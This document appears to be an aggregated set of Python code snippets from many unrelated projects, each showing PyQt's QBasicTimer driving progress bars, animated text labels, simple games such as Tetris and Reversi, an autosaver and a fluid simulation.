class Marquee(QLabel): def __init__(self, **kwargs): super().__init__(**kwargs) self.right_to_left_direction = True self.initUI() self.timer = QBasicTimer() self.timer.start(80, self) def initUI(self): self.setWindowFlags(Qt.FramelessWindowHint) self.setAttribute(Qt.WA_TranslucentBackground) self.setText("Hello World! ") self.setFont(QFont(None, 50, QFont.Bold)) # make more irritating for the authenticity with <marquee> element self.setStyleSheet("QLabel {color: cyan; }") def timerEvent(self, event): i = 1 if self.right_to_left_direction else -1 self.setText(self.text()[i:] + self.text()[:i]) # rotate def mouseReleaseEvent(self, event): # change direction on mouse release self.right_to_left_direction = not self.right_to_left_direction def keyPressEvent(self, event): # exit on Esc if event.key() == Qt.Key_Escape: self.close()
def __init__(self, parent): QBasicTimer.__init__(self) self.startTime = 0 self.interval = 0 self.is_started = False self.is_paused = False self.parent = parent
class T_window(QWidget): def __init__(self): super().__init__() self.tabs = QTabWidget() self.com = T_communication() self.pbar = QProgressBar() self.pbar.setFormat("Battery : %p%") self.grid = QGridLayout() self.setLayout(self.grid) self.grid.addWidget(self.pbar) self.grid.addWidget(self.tabs) self.dpi = T_dpi() self.com.getDpi(self.dpi) self.dpi.dataHasBeenSent() self.t = [] for i in range(0, 4): self.t.append(T_tab(i, self.dpi, self.com)) self.tabs.addTab(self.t[i], "Mode " + str(i + 1)) self.data = T_data(self.pbar, self.tabs, self.dpi, self.com) for i in range(0, 4): self.t[i].sendButton.clicked.connect(self.data.sendDpi) self.t[i].resetButton.clicked.connect(self.com.resetDpi) self.timer = QBasicTimer() self.timer.start(100, self.data) self.tabs.currentChanged.connect(self.com.sendMode)
class WigglyLabel(object): def __init__(self, clazz): self.clazz = clazz # clazz.setBackgroundRole(QPalette.Midlight) # clazz.setAutoFillBackground(True) setattr(clazz, "paintEvent", self.paintEvent) setattr(clazz, "timerEvent", self.timerEvent) # newFont = self.clazz.font() # newFont.setPointSize(newFont.pointSize() + 20) # self.clazz.setFont(newFont) self.timer = QBasicTimer() self.step = 0; self.timer.start(60, self.clazz) def __del__(self): self.timer.stop() def getText(self): return self.clazz.text() def paintEvent(self, event): # 上下跳动 # sineTable = (0, 38, 71, 92, 100, 92, 71, 38, 0, -38, -71, -92, -100, -92, -71, -38) metrics = QFontMetrics(self.clazz.font()) x = (self.clazz.width() - metrics.width(self.getText())) / 2 y = (self.clazz.height() + metrics.ascent() - metrics.descent()) / 2 color = QColor() painter = QPainter(self.clazz) for i, ch in enumerate(self.getText()): index = (self.step + i) % 16 color.setHsv((15 - index) * 16, 255, 191) painter.setPen(color) # 上下跳动 # painter.drawText(x, y - ((sineTable[index] * metrics.height()) / 400), ch) painter.drawText(x, y , ch) x += metrics.width(ch) def timerEvent(self, event): if event.timerId() == self.timer.timerId(): self.step += 1 self.clazz.update() else: super(WigglyLabel, self).timerEvent(event)
def init_timers(self): """Initializes the timers in the game.""" self.game_timer = QBasicTimer() self.rock_timer = QBasicTimer() self.level_timer = QBasicTimer() self.powerup_timer = QBasicTimer() self.ticker_timer = QBasicTimer() self.bullet_timer = QBasicTimer() self.player_invincibility_timer = QBasicTimer() self.big_bomb_timer = QBasicTimer() self.slow_down_rocks_timer = QBasicTimer() self.shoot_rocks_timer = QBasicTimer() self.powerup_duration_timer = QTimer()
class setupWidget(QWidget): def __init__(self,parent_): super(setupWidget,self).__init__(parent_) self.parent_=parent_ self.initUI() def initUI(self): self.pbar = QProgressBar(self) self.pbar.setObjectName('pbar') self.pbar.setTextVisible(True) self.pbar.setFormat('Configuring...') self.timer = QBasicTimer() self.step = 0 pixmap=QPixmap(':/Assets/moodly.gif') lbl=QLabel(self) lbl.setPixmap(pixmap) hbox1=QHBoxLayout() hbox1.addStretch(1) hbox1.addWidget(lbl) hbox1.addStretch(1) hbox2=QHBoxLayout() hbox2.addStretch(1) hbox2.addWidget(self.pbar) hbox2.addStretch(1) vbox=QVBoxLayout() vbox.addStretch(8) vbox.addLayout(hbox1) vbox.addStretch(1) vbox.addLayout(hbox2) vbox.addStretch(8) self.setLayout(vbox) self.callTimer() def timerEvent(self,e): if self.step>=100: self.step=0 self.step=self.step+1 self.pbar.setValue(self.step) def callTimer(self): self.timer.start(100, self)
def __init__(self): super().__init__() self.speed = 100 #重绘速度1s self.WindowSize = 50 self.timer = QBasicTimer() self.sim = sm.Stimulator(self.WindowSize) self.initUI()
def __init__(self, parent = None): super(TetrixBoard, self).__init__(parent) self.setStyleSheet("background-color:black;border:2px solid darkGreen;") self.timer = QBasicTimer() self.nextPieceLabel = None self.isWaitingAfterLine = False self.curPiece = TetrixPiece() self.nextPiece = TetrixPiece() self.curX = 0 self.curY = 0 self.numLinesRemoved = 0 self.numPiecesDropped = 0 self.score = 0 self.level = 0 self.board = None #self.setFrameStyle(QFrame.Panel | QFrame.Sunken) self.setFrameStyle(QFrame.Box) self.setFocusPolicy(Qt.StrongFocus) self.isStarted = False self.isPaused = False self.clearBoard() self.nextPiece.setRandomShape()
def initUI(self): self.pbar = QProgressBar(self) self.pbar.setObjectName('pbar') self.pbar.setTextVisible(True) self.pbar.setFormat('Configuring...') self.timer = QBasicTimer() self.step = 0 pixmap=QPixmap(':/Assets/moodly.gif') lbl=QLabel(self) lbl.setPixmap(pixmap) hbox1=QHBoxLayout() hbox1.addStretch(1) hbox1.addWidget(lbl) hbox1.addStretch(1) hbox2=QHBoxLayout() hbox2.addStretch(1) hbox2.addWidget(self.pbar) hbox2.addStretch(1) vbox=QVBoxLayout() vbox.addStretch(8) vbox.addLayout(hbox1) vbox.addStretch(1) vbox.addLayout(hbox2) vbox.addStretch(8) self.setLayout(vbox) self.callTimer()
def initUI(self): self.gridSize = 22 self.speed = 10 self.timer = QBasicTimer() self.setFocusPolicy(Qt.StrongFocus) hLayout = QHBoxLayout() self.tboard = Board(self, self.gridSize) hLayout.addWidget(self.tboard) self.sidePanel = SidePanel(self, self.gridSize) hLayout.addWidget(self.sidePanel) self.statusbar = self.statusBar() self.tboard.msg2Statusbar[str].connect(self.statusbar.showMessage) self.start() self.center() self.setWindowTitle('Tetris') self.show() self.setFixedSize(self.tboard.width() + self.sidePanel.width(), self.sidePanel.height() + self.statusbar.height())
def init_ui(self, board_size, game_mode, game_difficulty_level, game_time_for_move): self.game = Game(board_size, mode=game_mode, difficulty_level=game_difficulty_level, is_console_game=False, time_for_move=game_time_for_move) self.game_was_saved = False self.time_for_move = game_time_for_move self.count = self.time_for_move self.timer = QBasicTimer() self.move_timer = QTimer() self.ai_thread = AIThread(self) self.ai_thread.finished.connect(self.ai_finish) self.ai_finished = True self.load_images() self.add_toolbar() self.font_size = 10 self.resize(board_size * s.IMG_SIZE, (board_size * s.IMG_SIZE + self.toolbar.height() + 10 + self.font_size)) self.center() self.setWindowTitle('Reversi') self.show() self.timer.start(1, self) self.move_timer.timeout.connect(self.count_down) self.move_timer.start(1000)
def __init__(self, parent): super().__init__(parent) self.parent = parent # self.initBoard() self.loadPixmaps() self.use_this_pixmap = self.nurse_pixmap # setting logical value for information about animation state self.isStopped = False self.isActive = False self.symptoms = [] # creating empty list of points of size board_width x board_height self.board = [ [ '' for x in range(self.board_width) ] for y in range(self.board_height) ] # creating list of static map objects # PIXMAPs are declared in function self.loadPixmaps() self.objects = { Object("curtain1", (0, 0), (80, 160), 7), Object("bed1", (80, 0), (80, 160), 4), Object("curtain2", (240, 0), (80, 160), 7), Object("bed2", (320, 0), (80, 160), 4), Object("curtain3", (480, 0), (80, 160), 7), Object("bed3", (560, 0), (80, 160), 5), # Object("table_top", (640, 240), (80, 80), 8, 90), Object("table", (640, 400), (80, 80), 9, 90), Object("curtain4", (0, 240), (160, 80), 7, 90), Object("bed4", (0, 320), (160, 80), 6, 270), Object("curtain5", (0, 480), (160, 80), 7, 90), # Object } for obj in self.objects: if obj.getName() == 'bed3' or obj.getName() == 'bed4': obj.changePixmap(4) """ Creating graph to get paths """ self.graph = GridWithWeights(self.graph_width, self.graph_height) self.graph.setWalls(*self.objects) self.path = [] # drawing static objects on map # self.fillBoard(80, 0, 40, 80, 'bed') # creating timer self.timer = QBasicTimer()
def start(self): self.show() self.setFocusPolicy(Qt.StrongFocus) self.timer = QBasicTimer() self.timer.start(150, self) if isinstance(self.game.first_player, Computer) \ and isinstance(self.game.second_player, Computer): self.computers_play()
def __init__(self, *args, **kwargs): ''' Class representing OpenGL widget in the VisualizationWindow. ''' super(OpenGLWidget, self).__init__(*args, **kwargs) self._room = self.parent().room # assign room geometry to a variable self.setGeometry(self.parent()._width * .25, 0, self.parent()._width, self.parent()._height) # window size/pos self._timer = QBasicTimer() # create a timer
class Example(QWidget): def __init__(self): super().__init__() self.initUI() def initUI(self): self.progress_bar = QProgressBar(self) self.progress_bar.setGeometry(30, 40, 200, 25) self.btn = QPushButton('Start', self) self.btn.move(30, 80) self.btn.clicked.connect(self.doAction) self.timer = QBasicTimer() self.step = 0 self.setGeometry(300, 300, 280, 170) self.setWindowTitle('QProgressBar') self.show() def timerEvent(self, QTimerEvent): if self.step >= 100: self.timer.stop() self.btn.setText('Finished') return self.step += 1 self.progress_bar.setValue(self.step) def doAction(self): if self.timer.isActive(): self.timer.stop() self.btn.setText('Start') else: self.timer.start(100, self) self.btn.setText('Stop')
def __init__(self, parent): super().__init__(parent) self.board = None self.command = None self.longestPV = [] self.lastlongestPV = [] self.initUI() self.timer = QBasicTimer() self.timer.start(100, self)
def __init__(self, parent = None): super(WigglyWidget, self).__init__(parent) newFont = self.font() newFont.setPointSize(newFont.pointSize() + 20) self.setFont(newFont) self.timer = QBasicTimer() self.text = "" self.step = 0 self.timer.start(60, self)
class WigglyWidget(QWidget): def __init__(self, parent=None): super(WigglyWidget, self).__init__(parent) self.setBackgroundRole(QPalette.Midlight) self.setAutoFillBackground(True) newFont = self.font() newFont.setPointSize(newFont.pointSize() + 20) self.setFont(newFont) self.timer = QBasicTimer() self.text = '' self.step = 0; self.timer.start(60, self) def paintEvent(self, event): sineTable = (0, 38, 71, 92, 100, 92, 71, 38, 0, -38, -71, -92, -100, -92, -71, -38) metrics = QFontMetrics(self.font()) x = (self.width() - metrics.width(self.text)) / 2 y = (self.height() + metrics.ascent() - metrics.descent()) / 2 color = QColor() painter = QPainter(self) for i, ch in enumerate(self.text): index = (self.step + i) % 16 color.setHsv((15 - index) * 16, 255, 191) painter.setPen(color) painter.drawText(x, y - ((sineTable[index] * metrics.height()) / 400), ch) x += metrics.width(ch) def setText(self, newText): self.text = newText def timerEvent(self, event): if event.timerId() == self.timer.timerId(): self.step += 1 self.update() else: super(WigglyWidget, self).timerEvent(event)
def init_field(self, game): self.game = game self.ways = Ways() self.timer = QBasicTimer() self.height = self.game.field.get_height() self.width = self.game.field.get_width() self.mat = self.game.field grid = QGridLayout() self.setLayout(grid) grid.setSpacing(1) self.draw() self.timer.start(600, self)
def __init__(self): super(DedeNimeur, self).__init__() self.statusBar() self.size, self.height, self.width, self.mines = 30, 10, 10, 10 self.lcd = QLCDNumber() self.lcd.setFixedSize(300, 60) self.board = Board(self.height, self.width, self.mines, self.size) self.timer = QBasicTimer() self.real_timer = QElapsedTimer() vbox = QVBoxLayout() vbox.addWidget(self.lcd) vbox.addWidget(self.board) central = QWidget() central.setLayout(vbox) self.setCentralWidget(central) start = QAction('Start', self) start.setStatusTip('Start') start.setShortcut('Ctrl+N') start.triggered.connect(self.init) exit = QAction('Exit', self) exit.setStatusTip('Exit') exit.setShortcut('Ctrl+Q') exit.triggered.connect(qApp.quit) height = QAction('Height', self) height.setStatusTip('Set board width') height.triggered.connect(self.set_height) width = QAction('Width', self) width.setStatusTip('Set board height') width.triggered.connect(self.set_width) mines = QAction('Mines', self) mines.setStatusTip('Set board mines') mines.triggered.connect(self.set_mines) size = QAction('Size', self) size.setStatusTip('Set button size') size.triggered.connect(self.set_size) toolbar = self.addToolBar('Toolbar') toolbar.addAction(start) toolbar.addAction(width) toolbar.addAction(height) toolbar.addAction(mines) toolbar.addAction(size) toolbar.addAction(exit) self.setWindowTitle(u'DédéNimeur') self.show()
def initBoard(self): self.timer = QBasicTimer() self.isWaitingAfterLine = False self.curX = 0 self.curY = 0 self.numLinesRemoved = 0 self.board = [] self.setFocusPolicy(Qt.StrongFocus) self.isStarted = False self.isPaused = False self.clearBoard()
class AutoSaver(QObject): """ Class implementing the auto saver. """ AUTOSAVE_IN = 1000 * 3 MAXWAIT = 1000 * 15 def __init__(self, parent, save): """ Constructor @param parent reference to the parent object (QObject) @param save slot to be called to perform the save operation @exception RuntimeError raised, if no parent is given """ super(AutoSaver, self).__init__(parent) if parent is None: raise RuntimeError("AutoSaver: parent must not be None.") self.__save = save self.__timer = QBasicTimer() self.__firstChange = QTime() def changeOccurred(self): """ Public slot handling a change. """ if self.__firstChange.isNull(): self.__firstChange.start() if self.__firstChange.elapsed() > self.MAXWAIT: self.saveIfNeccessary() else: self.__timer.start(self.AUTOSAVE_IN, self) def timerEvent(self, evt): """ Protected method handling timer events. @param evt reference to the timer event (QTimerEvent) """ if evt.timerId() == self.__timer.timerId(): self.saveIfNeccessary() else: super(AutoSaver, self).timerEvent(evt) def saveIfNeccessary(self): """ Public method to activate the save operation. """ if not self.__timer.isActive(): return self.__timer.stop() self.__firstChange = QTime() self.__save()
def initUI(self): self.progress_bar = QProgressBar(self) self.progress_bar.setGeometry(30, 40, 200, 25) self.btn = QPushButton('Start', self) self.btn.move(30, 80) self.btn.clicked.connect(self.doAction) self.timer = QBasicTimer() self.step = 0 self.setGeometry(300, 300, 280, 170) self.setWindowTitle('QProgressBar') self.show()
class LiquidBox(QWidget): # 模拟流体力学程序,盛着液体的盒子 def __init__(self): super().__init__() self.speed = 100 #重绘速度1s self.WindowSize = 50 self.timer = QBasicTimer() self.sim = sm.Stimulator(self.WindowSize) self.initUI() def initUI(self): self.setGeometry(200, 200, 600, 600) self.setFixedSize(400, 400) self.setWindowTitle("流体力学模拟程序") self.timer.start(self.speed, self) self.show() #处理计时器消息 def timerEvent(self, event): if event.timerId() == self.timer.timerId(): self.update() else: super().timerEvent(event) #处理重绘消息 def paintEvent(self, event): qp = QPainter() qp.begin(self) self.Draw(qp) qp.end() #具体绘图函数 def Draw(self, qp): qp.setPen(Qt.blue) points = self.sim.step() for i in range(len(points)): qp.drawPoint(int(points[i][0]), int(points[i][1]))
def __init__(self, parent=None): super(WigglyWidget, self).__init__(parent) self.setBackgroundRole(QPalette.Midlight) self.setAutoFillBackground(True) newFont = self.font() newFont.setPointSize(newFont.pointSize() + 20) self.setFont(newFont) self.timer = QBasicTimer() self.text = '' self.step = 0; self.timer.start(60, self)
class Example(QWidget): def __init__(self): super().__init__() self.initUI() def initUI(self): self.pbar = QProgressBar(self) self.pbar.setGeometry(30, 40, 200, 25) self.btn = QPushButton('Start', self) self.btn.move(40, 80) self.btn.clicked.connect(self.doAction) # タイマー self.timer = QBasicTimer() self.step = 0 self.setGeometry(300, 300, 280, 170) self.setWindowTitle('QProgressBar') self.show() def timerEvent(self, e): # カウントが100に達すると終了 if self.step >= 100: self.timer.stop() self.btn.setText('Finished') return # 呼ばれるたび1ずつ増やす self.step = self.step + 1 self.pbar.setValue(self.step) def doAction(self): """ボタンが押されると呼ばれる""" # タイマーが実行中ならタイマーを停止する if self.timer.isActive(): self.timer.stop() self.btn.setText('Start') # タイマーが停止中ならタイマーを実行する else: # (timeout[ms], イベントの受取先) # timeoutで指定した時間間隔でシグナルが飛ぶ模様 self.timer.start(1000, self) self.btn.setText('Stop')
def __init__(self, clazz): self.clazz = clazz # clazz.setBackgroundRole(QPalette.Midlight) # clazz.setAutoFillBackground(True) setattr(clazz, "paintEvent", self.paintEvent) setattr(clazz, "timerEvent", self.timerEvent) # newFont = self.clazz.font() # newFont.setPointSize(newFont.pointSize() + 20) # self.clazz.setFont(newFont) self.timer = QBasicTimer() self.step = 0; self.timer.start(60, self.clazz)
def __init__(self, parent = None): super(LightMaps, self).__init__(parent) self.pressed = False self.snapped = False self.zoomed = False self.invert = False self._normalMap = SlippyMap(self) self._largeMap = SlippyMap(self) self.pressPos = QPoint() self.dragPos = QPoint() self.tapTimer = QBasicTimer() self.zoomPixmap = QPixmap() self.maskPixmap = QPixmap() self._normalMap.updated.connect(self.updateMap) self._largeMap.updated.connect(self.update)
def __init__(self, parent=None): super(HAdjustmentBar, self).__init__(parent) self.value = 50 self.step = 1 self.hi_value = 100 self.low_value = 50 self.timer_value = 25 self.texttemplate = 'Value = %s' self.timer = QBasicTimer() self.showToggleButton = True self.showSettingMenu = True self.bar = LabeledBar() #self.bar.setSizePolicy(QSizePolicy.Expanding,QSizePolicy.Expanding) # black magic class patching # so calling these functions actually calls the self.bar's functions. self.minimum = self.bar.minimum self.maximum = self.bar.maximum
def __init__(self, parent, save): """ Constructor @param parent reference to the parent object (QObject) @param save slot to be called to perform the save operation @exception RuntimeError raised, if no parent is given """ super(AutoSaver, self).__init__(parent) if parent is None: raise RuntimeError("AutoSaver: parent must not be None.") self.__save = save self.__timer = QBasicTimer() self.__firstChange = QTime()
class ProgressBarDemo(QWidget): def __init__(self): super().__init__() self.progressBar = QProgressBar(self) self.progressBar.setGeometry(30, 40, 200, 25) self.btnStart = QPushButton('Start', self) self.btnStart.move(30, 80) self.btnStart.clicked.connect(self.startProgress) self.btnReset = QPushButton('Reset', self) self.btnReset.move(120, 80) self.btnReset.clicked.connect(self.resetBar) self.timer = QBasicTimer() self.step = 0 def resetBar(self): self.step = 0 self.progressBar.setValue(0) def startProgress(self): if self.timer.isActive(): self.timer.stop() self.btnStart.setText('Start') else: self.timer.start(100, self) self.btnStart.setText('Stop') def timerEvent(self, event): if self.step >= 100: self.timer.stop() self.btnStart.setText('Start') return self.step += 1 self.progressBar.setValue(self.step)
class Example(QWidget): def __init__(self): super().__init__() self.initUI() def initUI(self): # 创建进度条 self.pbar = QProgressBar(self) self.pbar.setGeometry(30, 40, 200, 25) # 创建开始按钮 self.btn = QPushButton('Start', self) self.btn.move(40, 80) self.btn.clicked.connect(self.doAction) # 创建计时器,初始化计数 self.timer = QBasicTimer() self.step = 0 self.setGeometry(300, 300, 280, 170) self.setWindowTitle('QProgressBar') self.show() def timerEvent(self, e): if self.step >= 100: self.timer.stop() self.btn.setText('Finished') return self.step = self.step + 1 self.pbar.setValue(self.step) def doAction(self): if self.timer.isActive(): self.timer.stop() self.btn.setText('Start') else: self.timer.start(100, self) self.btn.setText('Stop')
class Example(QWidget): def __init__(self): super().__init__() self.init_ui() def init_ui(self): self.pbar = QProgressBar(self) # 创建一个QProcessBar实例对象 self.pbar.setGeometry(30, 40, 200, 25) self.btn = QPushButton('开始', self) self.btn.move(40, 80) self.btn.clicked.connect(self.do_action) self.timer = QBasicTimer() # 通过QBasicTimer的实例对象self.timer来用于激活进度条 self.step = 0 self.setGeometry(300, 300, 280, 170) self.setWindowTitle('进度条') self.show() def timerEvent(self, e): if self.step >= 100: self.timer.stop() self.btn.setText('结束') return self.step = self.step + 1 self.pbar.setValue(self.step) def do_action(self): # 通过do_action()方法我能开始或停止进度条 if self.timer.isActive(): self.timer.stop() self.btn.setText('开始') else: self.timer.start( 100, self ) # 调用start()方法来激活进度条, 这个方法有2个参数:the timeout and the object which will receive the events. self.btn.setText('结束')
class Example(QWidget): def __init__(self): super().__init__() self.initUI() def initUI(self): self.pbar = QProgressBar(self) self.pbar.setGeometry(30, 40, 200, 25) self.btn = QPushButton('start', self) self.btn.move(40, 80) self.btn.clicked.connect(self.doAction) self.timer = QBasicTimer() self.step = 0 self.setGeometry(300, 300, 250, 150) self.setWindowTitle('QProgressBar') self.show() def timerEvent(self, e): if self.step >= 100: self.timer.stop() self.btn.setText('Finished') return self.step += 1 self.pbar.setValue(self.step) def doAction(self): if self.timer.isActive(): self.timer.stop() self.btn.setText('Start') else: self.timer.start( 100, self) # 这里调用timerEvent, 第一个参数是timeout, 第二个是接收events的object self.btn.setText('Stop')
class MyApp(QWidget): def __init__(self): super().__init__() self.initUI() def initUI(self): self.pbar = QProgressBar(self) # 프로그레스 객체 생성 self.pbar.setGeometry(30, 40, 200, 25) # 프로그레스(%) 진행 될 네모칸 만들기 self.btn = QPushButton('Start', self) # 스타트버튼 만들기 self.btn.move(40, 80) # 버튼 크기 결정 self.btn.clicked.connect(self.doAction) # 클릭하면 액션 함수 실행하도록 만들기 self.timer = QBasicTimer() # 타이머 객체 생성 self.step = 0 # 스텝 변수에 기본값 0 할당(함수에 1씩 증가하도록 할 예정) self.setWindowTitle('QProgressBar') self.setGeometry(300, 300, 300, 200) self.show() def timerEvent(self, e): # 위젯에 상속되어있는 함수를 수정한다.(timerEvent는 QObject에 상속되어있는 함수이다.) if self.step >= 100: # 만약 값이 100보다 같거나 커지면 self.timer.stop() # 타이머를 정지시키고 self.btn.setText('Finished') # 버튼에 써있는 값을 Finished로 변경 return # 100보다 같거나 크지 않을경우에는 return 이 실행되지 않음 self.step = self.step + 1 # if가 실행되지 않을 경우, 기존에 0으로 설정한 값을 1씩 더하면서 증가시킨다. self.pbar.setValue(self.step) # 프로그레스 바를 step 값과 동일하게 변경해준다.(녹색 바의 위치를 지정해주는게 setValue 함수) def doAction(self): # Push버튼 눌렀을 때 호출하는 함수 if self.timer.isActive(): # (timer.isActive() == True)일 때 실행(불린값으로 반환) - 만약 활성화 되어 있다면 self.timer.stop() # 타이머를 스탑시키고 self.btn.setText('Start') # 스타트 버튼을 누를 수 있다. else: self.timer.start(100, self) # 스타트 시키고 self.btn.setText('Stop') # 스탑 버튼을 누를 수 있다.
class simple_4(QWidget): def __init__(self): super().__init__() self.initUI() def initUI(self): self.pbar = QProgressBar(self) self.pbar.setGeometry(30, 40, 200, 25) self.btn = QPushButton('start', self) self.btn.move(40, 80) self.btn.clicked.connect(self.doAction) self.timer = QBasicTimer() self.step = 0 self.setGeometry(300, 300, 280, 170) self.setWindowTitle('QSlider') self.show() #重载定时器 def timerEvent(self, e): if self.step >= 100: self.timer.stop() self.btn.setText('Finished') return self.step += 1 self.pbar.setValue(self.step) def doAction(self): if self.timer.isActive(): self.timer.stop() self.btn.setText('Start') else: #设置时间间隔,每隔多少毫秒调用timerEvent一次 self.timer.start(100, self) self.btn.setText('Stop')
class Example(QWidget): def __init__(self): super(Example, self).__init__() self.initUI() def initUI(self): self.pbar = QProgressBar(self) #pbar 프로그래스바 설정 self.pbar.setGeometry(30, 40, 200, 25) # 위치 설정 self.btn = QPushButton('start', self) #푸시버든 생성 self.btn.move(40, 80) # 버튼 위치 설정 self.btn.clicked.connect(self.doAction) # 클릭버튼 doAction 연결 self.timer = QBasicTimer() self.step = 0 # 기본 화면 구성 설정 self.setGeometry(300, 300, 280, 170) self.setWindowTitle('QProgreseBar') self.show() def timerEvent(self, e): # 일정 시간 단위로 동작 if self.step >= 100: self.timer.stop() #100이상일 경우 멈추고 1증가 self.btn.setText('Finished') return self.step = self.step + 1 # 100보다 작은경우 Step을 1씩 증가 self.pbar.setValue(self.step) # pbar에 표시 def doAction(self): if self.timer.isActive(): # 타이머 활성화 여부 확인 self.timer.stop() # 활성화 상태면 중단 self.btn.setText('Start') # 타이머가 실행이 되고 있으면 Start로 변경해라 else: self.timer.start(100, self) # 100/1000= 0.1초 마다 타이머를 실행 self.btn.setText('stop') # 버튼을 stop으로 변경해라
class Example(QMainWindow): def __init__(self): super().__init__() self.setWindowIcon(QIcon("cc.png")) self.initUI() def initUI(self): self.pbar = QProgressBar(self) self.pbar.setGeometry(30, 40, 200, 25) self.btn = QPushButton('Start', self) self.btn.move(40, 80) self.btn.clicked.connect(self.doAction) self.timer = QBasicTimer() self.step = 0 self.setGeometry(300, 300, 280, 170) self.setWindowTitle('Home') self.statusBar().showMessage("Ready") self.resize(500, 300) self.show() def timerEvent(self, e): if self.step >= 100: self.timer.stop() self.btn.setText('Finished') return self.step = self.step + 1 self.pbar.setValue(self.step) def doAction(self): if self.timer.isActive(): self.timer.stop() self.btn.setText('Start') else: self.timer.start(100, self) self.btn.setText('Stop')
class Example(QWidget): def __init__(self): super(Example, self).__init__() self.initUI() def initUI(self): self.prbar = QProgressBar(self) self.prbar.setGeometry(30, 40, 200, 25) self.btn = QPushButton("start", self) self.btn.move(40, 80) self.btn.clicked.connect(self.doAction) self.timer = QBasicTimer() self.step = 0 self.setGeometry(300, 300, 280, 170) self.setWindowTitle("timer") self.show() def doAction(self): if self.timer.isActive(): self.timer.stop() self.btn.setText("start") else: self.timer.start(100, self) self.btn.setText("stop") def timerEvent(self, event): if self.step >= 100: self.timer.stop() self.btn.setText("finished") return self.step = self.step + 1 self.prbar.setValue(self.step)
class Example(QWidget): def __init__(self): super().__init__() self.initUI() # 显示窗体内容 def initUI(self): self.pbar = QProgressBar(self) self.pbar.setGeometry(30, 50, 200, 25) #设置进度条位置及大小 self.btn = QPushButton('开始', self) self.btn.move(50, 90) self.btn.clicked.connect( self.doAction) #点击按钮时执行的动作函数指定为self.doAction() # self.btn.setGeometry(50, 90, 40, 25) self.timer = QBasicTimer() #构建一个计数器 self.step = 0 #设置基数 self.setGeometry(300, 300, 280, 170) # 设置整个窗体的大小 self.setWindowTitle('进度条') #设置窗口标题 # self.setWindowIcon('logo2.png') #设置窗口图标 self.show() def timerEvent(self, *args, **kwargs): if self.step >= 100: self.timer.stop() self.btn.setText('完成') return self.step += 1 self.pbar.setValue(self.step) #timer每次重围时将self.step 赋值给pbar def doAction(self): if self.timer.isActive(): self.timer.stop() self.btn.setText('开始') else: self.timer.start(100, self) self.btn.setText('停止')
class progressBar(QWidget): def __init__(self): super().__init__() self.setupUI() def setupUI(self): self.progressBar = QProgressBar(self) self.progressBar.setGeometry(30, 40, 200, 25) self.button = QPushButton('Start', self) self.button.move(40, 80) self.button.clicked.connect(self.doAction) self.timer = QBasicTimer() self.step = 0 self.setGeometry(500, 300, 280, 170) self.setWindowTitle("QProgressBar") self.show() def timerEvent(self, e): if self.step >= 100: self.timer.stop() self.button.setText('Finished') return self.step = self.step + 1 self.progressBar.setValue(self.step) def doAction(self): if self.timer.isActive(): self.timer.stop() self.button.setText('Start') else: self.timer.start(100, self) self.button.setText('Stop')
class Example(QWidget): def __init__(self): super().__init__() self.initUI() def initUI(self): self.pbar = QProgressBar(self) self.pbar.setGeometry(30, 40, 200, 25) self.btn = QPushButton('Поехали', self) self.btn.move(40, 80) self.btn.clicked.connect(self.doAction) self.timer = QBasicTimer() self.step = 0 self.setGeometry(300, 300, 280, 170) self.setWindowTitle('Твоя жизнь') self.show() def timerEvent(self, e): if self.step >= 100: self.timer.stop() self.btn.setText('Мертв') return self.step = self.step + 1 self.pbar.setValue(self.step) def doAction(self): if self.timer.isActive(): self.timer.stop() self.btn.setText('Поехали') else: self.timer.start(50, self) self.btn.setText('Пауза')
class MyApp(QWidget): def __init__(self): super().__init__() self.initUI() def initUI(self): self.pbar = QProgressBar(self) # 진행 표시줄 만들기 self.pbar.setGeometry(30, 40, 200, 25) self.btn = QPushButton('Start', self) self.btn.move(40, 80) self.btn.clicked.connect(self.doAction) self.timer = QBasicTimer() # 진행 표시줄 활성화를 위해 타이머 객체를 사용 self.step = 0 self.setWindowTitle('') self.setGeometry(500, 500, 400, 200) self.show() def timerEvent(self, e): if self.step >= 100: self.timer.stop() self.btn.setText('Finished') return self.step += 1 self.pbar.setValue(self.step) def doAction(self): if self.timer.isActive(): self.timer.stop() self.btn.setText('Start') else: self.timer.start(100, self) # start(종료 시간, 이벤트가수행될객체) self.btn.setText('Stop')
class MyApp(QWidget): def __init__(self, *args, **kwargs): super(MyApp, self).__init__(*args, **kwargs) self.initUI() def initUI(self): self.pbar = QProgressBar(self) self.pbar.setGeometry(30, 40, 200, 25) self.btn = QPushButton('Start', self) self.btn.move(40, 80) self.btn.clicked.connect(self.doAction) self.timer = QBasicTimer() self.step = 0 self.setWindowTitle('QProgressBar') self.setGeometry(300, 300, 300, 200) self.show() def timerEvent(self, e): if self.step >= 100: self.timer.stop() self.btn.setText('Finished') return self.step = self.step + 1 self.pbar.setValue(self.step) def doAction(self): if self.timer.isActive(): self.timer.stop() self.btn.setText('Start') else: self.timer.start(100, self) self.btn.setText('Stop')
class MainWindow(QWidget): def __init__(self): super().__init__() self.initUI() def initUI(self): self.pbar = QProgressBar(self) self.pbar.setGeometry(30, 40, 200, 25) self.btn = QPushButton('Start', self) self.btn.move(40, 80) self.btn.clicked.connect(self.doAction) self.timer = QBasicTimer() # 创建定时器对象,用于激活进度条 self.step = 0 # 进度条步进值 self.setGeometry(300, 300, 250, 150) self.setWindowTitle('ProgressBar') self.show() def timerEvent(self, event): # 定时器事件处理 if self.step >= 100: self.timer.stop() self.btn.setText('Finished') return self.step = self.step + 1 self.pbar.setValue(self.step) def doAction(self): if self.timer.isActive(): self.timer.stop() self.btn.setText('Start') else: self.timer.start(100, self) # 开启定时器,参数:定时时间和接收定时器事件对象 self.btn.setText('Stop')
def __init__(self, parent, difficulty=config.DIFF_EASY, length=None, arrange_mech=None, cheats_on=False): super().__init__(parent) sb_scales = (1, 2, 0) self.statusbar = self.parent().statusBar() self.status_labels = [] for i in range(3): self.status_labels.append(QLabel()) self.statusbar.addWidget(self.status_labels[i], sb_scales[i]) self.cheats_on = cheats_on self.start_time = None self.speed = 0 self.isStarted = False self.isPaused = False self.sp_interval = 1 self.engine = engine.Engine(config.BoxWidth, config.BoxHeight, boa_size=length, arrange_mech=arrange_mech) self.set_difficulty(difficulty) self.timer = QBasicTimer() self.acc_timer = QBasicTimer() self.spark_timer = QBasicTimer() self.setFocusPolicy(Qt.StrongFocus)
